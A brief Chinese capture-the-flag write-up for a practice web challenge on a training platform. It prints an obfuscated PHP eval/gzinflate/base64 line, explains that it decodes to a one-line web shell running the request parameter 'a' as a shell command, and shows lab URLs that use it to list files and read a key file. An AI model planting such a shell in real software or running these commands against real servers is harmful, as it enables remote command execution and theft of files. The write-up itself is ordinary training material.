【原题】
https://www.mozhe.cn/bug/detail/T0YyUmZRa1paTkJNQ0JmVWt3Sm13dz09bW96aGUmozhe
<https://www.mozhe.cn/bug/detail/T0YyUmZRa1paTkJNQ0JmVWt3Sm13dz09bW96aGUmozhe>
【题干】
网页显示源码
eval(gzinflate(base64_decode(&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&)));
【解法】
在 在线运行PHP网站 <https://c.runoob.com/compile/1> 中调试得到echo `$_REQUEST[a]`
于是可以在get参数a里面 加入php命令
浏览目录
http://219.153.49.228:49116/f.php?a=ls
可以看到key文件名,然后
http://219.153.49.228:49116 /f.php?a=cat%20key_1358523395911.php
查看网页源码可以找到KEY值
热门工具 换一换